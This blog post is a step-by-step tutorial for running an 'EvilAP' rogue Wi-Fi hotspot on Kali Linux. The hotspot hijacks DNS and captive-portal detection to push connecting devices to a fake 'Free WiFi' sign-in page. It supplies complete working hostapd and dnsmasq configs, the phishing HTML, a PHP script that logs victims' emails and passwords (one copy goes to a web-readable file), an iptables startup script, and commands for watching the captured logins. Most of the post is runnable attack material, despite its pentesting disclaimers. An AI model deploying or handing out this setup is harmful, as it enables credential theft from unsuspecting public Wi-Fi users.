Notice: Due to size constraints and loading performance considerations, scripts referenced in blog posts are not attached directly. To request access, please complete the following form: Script Request Form Note: A Google account is required to access the form.
Disclaimer: I do not accept responsibility for any issues arising from scripts being run without adequate understanding. It is the user's responsibility to review and assess any code before execution. More information

EvilAP: Rogue Access Point with a Fake "login" page


This post guide you through setting up a Wi-Fi SSID via EvilAP which by utilizing a captive portal captures people logins when they attempt to get free Wi-Fi - who does not love a bit of free Wi-Fi, but at what cost?

What is the point of attempting this?

A very good question, the answer to that is quite simple - learning how these attacks work by simulating them in a controlled environment makes you blissfully aware of why using free Wi-Fi can be a disaster.

  1. You actually understand what's happening - Instead of blindly running scripts, you know why each component is needed 
  2. You can troubleshoot when things break - And they will break, especially when OS updates change captive portal detection 
  3. You can adapt to different environments - Real pentesting rarely matches the tutorial scenarios
  4. Stronger defense knowledge - Understanding attacks makes you much better at detecting and preventing them

VPN : Protection but not from EvilAP

A VPN will not protect you from having your login credentials captured by a rogue access points.

Why?

The connection order matters:

  1. Device connects to WiFi network
  2. Captive portal appears and captures login credentials
  3. Only after entering credentials does the device get internet access
  4. VPN can then establish its encrypted tunnel

By the time your VPN has a chance to protect anything, your credentials have already been captured and logged by the rogue access point.

What happens in practice:

  • You connect to "Free_WiFi_Guest"
  • The fake login page appears immediately (before any VPN connection)
  • You enter your email/password thinking it's legitimate
  • Those credentials are captured and stored
  • You get redirected to a "success" page or real website
  • Your VPN might then connect normally, but the damage is already done

VPNs protect the traffic flowing through the connection, but they can't protect the initial authentication step required to get that connection in the first place.

This is essentially mean by the time you’ve got your "free Internet" your login details have been safely saved via captive portal to my Kali server - from a users perspective, they will happily be surfing in the Internet with their VPN protecting their traffic.

VPN will still function normally and protect data sent from the phone, but depending on the type of attack used in captive portal, those credentials will not be secure anymore.

Kali: My Lab Setup

I keep a dedicated Kali VM specifically for this kind of work. When I need to test something or demonstrate an attack, I just fire up the VM, plug in my wireless adapter, and I'm ready to go. Having everything pre-configured and isolated means I can focus on the actual testing rather than spending time setting up the environment each time.

It's clean, it's consistent, and it keeps all my security tools completely separate from my regular work environment. Highly recommend this approach if you're doing any kind of security research or penetration testing.

⚠️ IMPORTANT DISCLAIMER
This setup/post is strictly for authorized penetration testing, security research, and educational purposes only. Always obtain written permission before deploying in any environment. Unauthorized use is illegal and unethical.

Objective

  • Create a convincing "Free Wi-Fi" access point
  • Force captive portal detection on all connecting devices
  • Capture credentials through a fake login page
  • Provide optional internet access to maintain cover

Prerequisites 

  • Kali Linux (or similar penetration testing distribution)
  • Wireless adapter supporting AP mode (e.g., Alfa AWUS036NHA)
  • Internet connection (optional, for providing downstream access)

Step 1: Install Required Packages

# Update system and install all required tools
sudo apt update && sudo apt upgrade -y
sudo apt install hostapd dnsmasq apache2 php iptables-persistent -y

# Stop services to configure manually
sudo systemctl stop hostapd dnsmasq apache2
sudo systemctl disable hostapd dnsmasq

Step 2: Identify Your Wireless Interface

# Check available wireless interfaces
iwconfig

# Put your wireless adapter in monitor mode first, then back to managed
sudo airmon-ng start wlan0  # Replace wlan0 with your interface
sudo airmon-ng stop wlan0mon
sudo ifconfig wlan0 up

Note: Replace wlan0 with your actual wireless interface name throughout this guide.

Step 3: Configure hostapd (Access Point)

Create the hostapd configuration:

sudo nano /etc/hostapd/hostapd.conf

Add this configuration:

interface=wlan0
driver=nl80211
ssid=Free WiFi
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=0

Step 4: Configure dnsmasq (DHCP and DNS)

Backup the original config:

sudo mv /etc/dnsmasq.conf /etc/dnsmasq.conf.backup

Create new dnsmasq configuration:

sudo nano /etc/dnsmasq.conf

Add this content:

# Interface to bind to
interface=wlan0

# DHCP range and lease time
dhcp-range=192.168.45.10,192.168.45.100,255.255.255.0,12h

# Gateway and DNS server (our machine)
dhcp-option=3,192.168.45.1
dhcp-option=6,192.168.45.1

# Redirect all DNS queries to our server
address=/#/192.168.45.1

# Specific captive portal detection domains
address=/connectivitycheck.gstatic.com/192.168.45.1
address=/clients3.google.com/192.168.45.1
address=/captive.apple.com/192.168.45.1
address=/www.msftconnecttest.com/192.168.45.1
address=/detectportal.firefox.com/192.168.45.1

# Disable upstream DNS
no-resolv
no-poll

Step 5: Create the Captive Portal

Remove default Apache content:

sudo rm -rf /var/www/html/*

Create the main portal page:

sudo nano /var/www/html/index.html

Add this HTML content:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Guest WiFi Access</title>
    <link rel="icon" href="data:image/x-icon;base64,">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 20px;
        }
        
        .portal-container {
            background: white;
            border-radius: 12px;
            box-shadow: 0 20px 40px rgba(0,0,0,0.1);
            padding: 40px;
            width: 100%;
            max-width: 400px;
            text-align: center;
        }
        
        .wifi-icon {
            width: 60px;
            height: 60px;
            margin: 0 auto 20px;
            background: #4285f4;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            color: white;
            font-size: 24px;
        }
        
        h1 {
            color: #333;
            margin-bottom: 10px;
            font-size: 24px;
            font-weight: 500;
        }
        
        .subtitle {
            color: #666;
            margin-bottom: 30px;
            font-size: 14px;
        }
        
        .form-group {
            margin-bottom: 20px;
            text-align: left;
        }
        
        label {
            display: block;
            margin-bottom: 5px;
            color: #333;
            font-weight: 500;
            font-size: 14px;
        }
        
        input[type="email"],
        input[type="password"] {
            width: 100%;
            padding: 12px 16px;
            border: 2px solid #e1e5e9;
            border-radius: 8px;
            font-size: 16px;
            transition: border-color 0.3s;
        }
        
        input[type="email"]:focus,
        input[type="password"]:focus {
            outline: none;
            border-color: #4285f4;
        }
        
        .submit-btn {
            background: #4285f4;
            color: white;
            border: none;
            padding: 14px 24px;
            width: 100%;
            border-radius: 8px;
            font-size: 16px;
            font-weight: 500;
            cursor: pointer;
            transition: background-color 0.3s;
        }
        
        .submit-btn:hover {
            background: #3367d6;
        }
        
        .terms {
            margin-top: 20px;
            font-size: 12px;
            color: #666;
            line-height: 1.4;
        }
        
        .loading {
            display: none;
            margin-top: 20px;
        }
        
        .loading-spinner {
            border: 3px solid #f3f3f3;
            border-top: 3px solid #4285f4;
            border-radius: 50%;
            width: 30px;
            height: 30px;
            animation: spin 1s linear infinite;
            margin: 0 auto;
        }
        
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
    </style>
</head>
<body>
    <div class="portal-container">
        <div class="wifi-icon">📶</div>
        <h1>Welcome to Free WiFi</h1>
        <p class="subtitle">Please sign in to access the internet</p>
        
        <form method="POST" action="auth.php" id="loginForm">
            <div class="form-group">
                <label for="email">Email Address</label>
                <input type="email" name="email" id="email" placeholder="
                Enter your email" required>
            </div>
            
            <div class="form-group">
                <label for="password">Password</label>
                <input type="password" name="password" id="password" placeholder=
                "Enter your password" required>
            </div>
            
            <button type="submit" class="submit-btn">Connect to Internet</button>
        </form>
        
        <div class="loading" id="loading">
            <div class="loading-spinner"></div>
            <p>Connecting...</p>
        </div>
        
        <p class="terms">
            By connecting, you agree to our terms of service and privacy policy.
            Free WiFi provided by Guest Network Services.
        </p>
    </div>

    <script>
        document.getElementById('loginForm').onsubmit = function() {
            document.querySelector('.portal-container form').style.display = 'none';
            document.getElementById('loading').style.display = 'block';
        };
    </script>
</body>
</html>
That to the user will look like this as an example:

Create the authentication handler:

sudo nano /var/www/html/auth.php

Add this PHP code:

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $email = isset($_POST['email']) ? $_POST['email'] : '';
    $password = isset($_POST['password']) ? $_POST['password'] : '';
    
    if (!empty($email) && !empty($password)) {
        $timestamp = date('Y-m-d H:i:s');
        $ip = $_SERVER['REMOTE_ADDR'];
        $user_agent = $_SERVER['HTTP_USER_AGENT'];
        
        $log_entry = "[{$timestamp}] IP: {$ip} | Email: {$email} | Password: 
        {$password} | User-Agent: {$user_agent}\n";
        
        // Log to file (ensure Apache can write to this directory)
        file_put_contents('/var/log/captive_portal.log', $log_entry, 
        FILE_APPEND | LOCK_EX);
        
        // Also log to web-accessible location for easier viewing
        file_put_contents('/var/www/html/captured_data.log', $log_entry, 
        FILE_APPEND | LOCK_EX);
    }
}

// Redirect to a success page or legitimate site
header('Location: success.html');
exit();
?>

Create a success page:

sudo nano /var/www/html/success.html
Then put this code in that file:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Connected Successfully</title>
    <style>
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 20px;
        }
        
        .success-container {
            background: white;
            border-radius: 12px;
            box-shadow: 0 20px 40px rgba(0,0,0,0.1);
            padding: 40px;
            text-align: center;
            max-width: 400px;
        }
        
        .checkmark {
            width: 60px;
            height: 60px;
            margin: 0 auto 20px;
            background: #4CAF50;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            color: white;
            font-size: 30px;
        }
        
        h1 { color: #333; margin-bottom: 10px; }
        p { color: #666; margin-bottom: 20px; }
        
        .redirect-info {
            background: #f8f9fa;
            padding: 15px;
            border-radius: 8px;
            font-size: 14px;
            color: #666;
        }
    </style>
</head>
<body>
    <div class="success-container">
        <div class="checkmark">✓</div>
        <h1>Connected Successfully!</h1>
        <p>You now have internet access through our free WiFi network.</p>
        <div class="redirect-info">
            You can now browse the internet normally. 
            This page will close automatically.
        </div>
    </div>
    
    <script>
        // Redirect to a legitimate site after 3 seconds
        setTimeout(function() {
            window.location.href = 'https://www.google.com';
        }, 3000);
    </script>
</body>
</html>
This will be shown when the login is "successful" the user will see this and then in a couple of seconds end up on Google - all good from the user point of view:

Step 6: Set Proper Permissions

sudo chown -R www-data:www-data /var/www/html/
sudo chmod 755 /var/www/html/
sudo chmod 644 /var/www/html/*
sudo touch /var/log/captive_portal.log
sudo chown www-data:www-data /var/log/captive_portal.log

Step 7: Configure Network Interface and Start Services

Create a startup script:

sudo nano /root/start_evilap.sh

Add this content:

#!/bin/bash

# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color

echo -e "${GREEN}[+] Starting EvilAP Setup${NC}"

# Check if running as root
if [[ $EUID -ne 0 ]]; then
   echo -e "${RED}[-] This script must be run as root${NC}"
   exit 1
fi

# Configuration
INTERFACE="wlan0"  # Change this to your wireless interface
AP_IP="192.168.45.1"
INTERNET_INTERFACE="eth0"  # Change this to your internet-connected interface

echo -e "${YELLOW}[*] Configuring interface ${INTERFACE}${NC}"

# Stop conflicting services
systemctl stop NetworkManager
systemctl stop wpa_supplicant

# Configure wireless interface
ifconfig $INTERFACE down
ifconfig $INTERFACE up
ifconfig $INTERFACE $AP_IP netmask 255.255.255.0

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Clear existing iptables rules
iptables -F
iptables -t nat -F
iptables -t mangle -F

echo -e "${YELLOW}[*] Setting up iptables rules${NC}"

# NAT rules for internet access (optional)
iptables -t nat -A POSTROUTING -o $INTERNET_INTERFACE -j MASQUERADE
iptables -A FORWARD -i $INTERFACE -o $INTERNET_INTERFACE -j ACCEPT
iptables -A FORWARD -i $INTERNET_INTERFACE -o $INTERFACE -m state 
--state RELATED,ESTABLISHED -j ACCEPT

# Captive portal redirection rules
iptables -t nat -A PREROUTING -i $INTERFACE -p tcp --dport 80 -j DNAT 
--to-destination $AP_IP:80
iptables -t nat -A PREROUTING -i $INTERFACE -p tcp --dport 443 -j DNAT 
--to-destination $AP_IP:80
iptables -t nat -A PREROUTING -i $INTERFACE -p tcp --dport 8080 -j DNAT 
--to-destination $AP_IP:80
iptables -t nat -A PREROUTING -i $INTERFACE -p tcp --dport 8443 -j DNAT 
--to-destination $AP_IP:80

# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Allow traffic on loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

# Allow traffic on AP interface
iptables -A INPUT -i $INTERFACE -j ACCEPT
iptables -A OUTPUT -o $INTERFACE -j ACCEPT

echo -e "${YELLOW}[*] Starting services${NC}"

# Start Apache
systemctl start apache2

# Start dnsmasq
dnsmasq -C /etc/dnsmasq.conf -d &
DNSMASQ_PID=$!

# Start hostapd
hostapd /etc/hostapd/hostapd.conf -B

echo -e "${GREEN}[+] EvilAP is now running!${NC}"
echo -e "${GREEN}[+] SSID: Free_WiFi_Guest${NC}"
echo -e "${GREEN}[+] Portal IP: http://${AP_IP}${NC}"
echo -e "${GREEN}[+] Check logs: tail -f /var/log/captive_portal.log${NC}"
echo -e "${YELLOW}[*] Press Ctrl+C to stop${NC}"

# Keep script running
trap 'echo -e "\n${YELLOW}[*] Stopping EvilAP...${NC}"; kill $DNSMASQ_PID; 
systemctl stop hostapd; systemctl stop apache2; iptables -F; iptables -t nat -F; 
echo -e "${GREEN}[+] EvilAP stopped${NC}"; exit 0' INT

# Wait for interrupt
while true; do
    sleep 60
    echo -e "${GREEN}[+] EvilAP running... ($(date))${NC}"
done

Make the script executable:

sudo chmod +x /root/start_evilap.sh

Step 8: Run the EvilAP

sudo /root/start_evilap.sh

Step 9: Monitor Captured Data

In another terminal, monitor the captured credentials:

# Monitor the log file
sudo tail -f /var/log/captive_portal.log

# Or view the web-accessible log
sudo tail -f /var/www/html/captured_data.log

Troubleshooting

Common Issues and Solutions:

  1. "Interface not found" error:

    iwconfig  # Check your actual interface name
    # Edit the script to use the correct interface
    
  2. "Permission denied" errors:

    sudo chmod 755 /var/www/html/
    sudo chown -R www-data:www-data /var/www/html/
    
  3. Captive portal not appearing:

    # Check if Apache is serving the page
    curl http://192.168.45.1
    
    # Verify iptables rules
    sudo iptables -t nat -L -n -v
    
  4. No internet access for clients:

    • Verify your internet interface name in the script
    • Check if IP forwarding is enabled: cat /proc/sys/net/ipv4/ip_forward
  5. Services won't start:

    # Check service status
    sudo systemctl status hostapd
    sudo systemctl status apache2
    
    # Check for conflicting processes
    sudo netstat -tulpn | grep :80
    

Important Notes

  • Legal Compliance: Only use this in authorized environments with proper written permission
  • Detection: This setup can be detected by network monitoring tools
  • Logs: Regularly clear logs to avoid disk space issues
  • Updates: Keep your system and tools updated for security

Cleanup

To stop and clean up:

# Stop the script with Ctrl+C, or manually:
sudo pkill hostapd
sudo pkill dnsmasqo
sudo systemctl stop apache2
sudo iptables -F
sudo iptables -t nat -F
sudo systemctl start NetworkManager

This complete setup addresses all the issues in the original tutorial and provides a fully functional EvilAP with proper captive portal detection.

Previous Post Next Post

نموذج الاتصال